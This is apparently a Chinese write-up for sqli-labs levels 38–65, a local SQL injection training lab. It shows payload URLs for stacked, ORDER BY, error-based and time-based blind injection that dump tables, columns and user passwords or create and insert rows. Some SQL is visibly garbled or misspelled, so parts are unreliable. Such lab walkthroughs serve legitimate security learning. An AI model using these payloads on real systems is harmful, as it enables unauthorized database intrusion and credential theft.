sqli-labs(less38-less65)

在做题之前可以先参考MYSQL注入天书之stacked injection

LESS-38

本关用常用方法都可以爆出数据库信息,然而考察的不是爆出信息,而是Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
这我们构造一下:
http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values(15,'less38','less38') -- +

sqli-labs(less38-less65)_第1张图片
图片.png

sqli-labs(less38-less65)_第2张图片
图片.png

然后可以发现它是两条语句都执行了的。

LESS-39

和less-38的区别在于sql语句的不一样:SELECT * FROM users WHERE id=$id LIMIT 0,1
也就是数字型注入,我们可以构造以下的payload:
http://127.0.0.1/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values(16,'less39','less39') -- +

sqli-labs(less38-less65)_第3张图片
图片.png

sqli-labs(less38-less65)_第4张图片
图片.png

可见两条语句都执行了。

LESS-40

本关与前两关基本相同,错误不回显,只是对id参数进行('id')处理

LESS-41

此处与less-39是一致的,区别在于41错误不回显。所以我们盲注。
http://127.0.0.1/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values(17,'less41','less41') -- +

sqli-labs(less38-less65)_第5张图片
图片.png

sqli-labs(less38-less65)_第6张图片
图片.png

注入成功

LESS-42

Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
从login.php源代码中查下信息:


sqli-labs(less38-less65)_第7张图片
图片.png

Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。
用户名可以随意填写,
密码我们可以构造进行注入。


sqli-labs(less38-less65)_第8张图片
图片.png

这里username:admin,password:c';create table less42 like users#
原sql语句为
sql="SELECT∗FROMusersWHEREusername=′username' and password='$password'";
登录时构造的sql语句为
SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#
利用stacked injection,我们成功执行创建数据表less42的语句。


sqli-labs(less38-less65)_第9张图片
图片.png

同样的利用此方式可以更新和插入数据项。

LESS-43

本关与42关的原理基本一致,我们还是看一下login.php中的password。看一下sql语句为:
sql="SELECT∗FROMusersWHEREusername=(′username') and password=('$password')";
我们可以这么构造:
username:admin
Password:c');create table less43 like users#
和42相同,不严实了。

LESS-44

本关是基于盲注的,这里盲注主要是因为没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息
我们尝试构造:
username:admin
Password:a';insert into users(id,username,password) values (18,'less44','less44')#


sqli-labs(less38-less65)_第10张图片
图片.png

sqli-labs(less38-less65)_第11张图片
图片.png

可以看到已注入成功。

LESS-45

45和43是一样的,不过45没有报错信息,所以盲注吧,构造方法和之前一样。

参考MYSQL注入天书之order by后的injection

LESS-46

从这开始,要用到order by 相关注入的知识。
本关的sql语句为sql="SELECT∗FROMusersORDERBYid";
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
先了解下源代码


sqli-labs(less38-less65)_第12张图片
图片.png
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)

sqli-labs(less38-less65)_第13张图片
图片.png

sqli-labs(less38-less65)_第14张图片
图片.png

从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
sqli-labs(less38-less65)_第15张图片
图片.png

我们可利用order by后的一些参数进行注入。
1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://127.0.0.1/sqli-labs-master/Less-46/?sort=left(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。
sqli-labs(less38-less65)_第16张图片
图片.png

sqli-labs(less38-less65)_第17张图片
图片.png

③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
报错注入:
爆表:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
sqli-labs(less38-less65)_第18张图片
图片.png

爆列:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'))) --+
sqli-labs(less38-less65)_第19张图片
图片.png

爆值:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
sqli-labs(less38-less65)_第20张图片
图片.png

接下来我们用rand()进行演示一下,因为上面提到rand(true)和 rand(false)结果是不一样的。
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
sqli-labs(less38-less65)_第21张图片
图片.png

sqli-labs(less38-less65)_第22张图片
图片.png

从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。
延时注入例子 :
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))
尝试这两个语句可以看到明显的延时效果。

LESS-47

本关的sql语句为 sql="SELECT∗FROM users ORDER BY ′id'";
将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。
、order by后的参数
我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。
① 可以利用报错的方式进行
爆表:http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
版本号:
http://127.0.0.1/sqli-labs-master/Less-47/?sort=1'and (select * from%20(select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

sqli-labs(less38-less65)_第23张图片
图片.png

http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and (select count() from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()2))) -- +

sqli-labs(less38-less65)_第24张图片
图片.png

可以看到user()的内容,同时可以构造其他的语句进行注入。

LESS-48

本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。
http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=178)

sqli-labs(less38-less65)_第25张图片
图片.png

http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=115)
sqli-labs(less38-less65)_第26张图片
图片.png

And后的延时注入
http://127.0.0.1/sqli-labs-master/Less-48/?sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,sleep(5)))

LESS-49

本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
利用延时注入
http://127.0.0.1/sqli-labs-master/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+
有明显延时

LESS-50

本关开始进行order by stacked injection
执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前提到的statcked injection。
这里我们上述用到的方法依旧是可行的。
构造:
http://127.0.0.1/sqli-labs-master/Less-50/?sort=1;create table less50 like users -- +

sqli-labs(less38-less65)_第27张图片
图片.png
sqli-labs(less38-less65)_第28张图片
图片.png

LESS-51

本关的sql语句为 sql="SELECT∗FROMusersORDERBY′id'";
我们此处要进行stacked injection,要注释掉',此处给出payload:
http://127.0.0.1/sqli-labs-master/Less-51/?sort=1';create table less50 like users -- +

LESS-52

和less50是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式

LESS-53

和less51是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式

LESS-54

这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。因为已经知道了数据库名字叫做challenges,所以我们需要知道表名。

sqli-labs(less38-less65)_第29张图片
图片.png

已经得到表名为zh202gsitv(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列
http://127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='zh202gsitv' --+
sqli-labs(less38-less65)_第30张图片
图片.png

我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在secret_DZ1Q列中,所以我们直接查看该列的内容
sqli-labs(less38-less65)_第31张图片
图片.png

得到:L6zOyIj2m8V1qs8KkExPbOrE,然后提交。

LESS-55

本关的sql语句为:
sql="SELECT∗FROMsecurity.usersWHEREid=(id) LIMIT 0,1";
其余和less54是一样的,所以我们将上述的语句前添加 ) 即可,但是这里要求次数为14次。

LESS-56

与less54.55形式是一致的,我们关注sql语句,
sql="SELECT∗FROMsecurity.usersWHEREid=(′id') LIMIT 0,1";

LESS-57

sqli-labs(less38-less65)_第32张图片
图片.png

" " 的处理,所以此处我们构造的payload要进行 "" 的处理

LESS-58

执行sql语句后,并没有返回数据库当中的数据,所以我们这里不能使用union联合注入,这里使用报错注入。
http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'))) --+

sqli-labs(less38-less65)_第33张图片
图片.png

http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='yo3l18wb5k'))) --+
sqli-labs(less38-less65)_第34张图片
图片.png

http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(secret_IOPS) from challenges.yo3l18wb5k))) --+
sqli-labs(less38-less65)_第35张图片
图片.png

key:0PZNM6TefSE4eqLlV6lIzZyl 然后提交。

LESS-59

和58题相同,不过id数字型注入

LESS-60

与上题也想同,对id参数进行("")处理

LESS-61

此处对于id处理,利用两层括号。形式和上述是一样的

LESS-62

此处union和报错注入都已经失效了,那我们就要使用延时注入了。
http://127.0.0.1/sqli-labs-master/Less-62/?id=1' and If(ascii(substr((select group_concat(table_coulmn) from information_schema.coulmns where table_schema='challenges'),1,1))=79,0,sleep(10))--+
当正确的时候时间很短,当错误的时候时间大于10秒

LESS-63

这题和62一样,我们只需要看到sql语句上
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
方法与62一样

LESS-64

此处的sql语句为
sql="SELECT∗FROMsecurity.usersWHEREid=((id)) LIMIT 0,1";
此处对id参数进行了处理,不过还是延时注入,和上题相似

LESS-65

$id = '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
此处对id进行了 “” () 的处理,构造payload时还是使用延时注入。

你可能感兴趣的:(sqli-labs(less38-less65))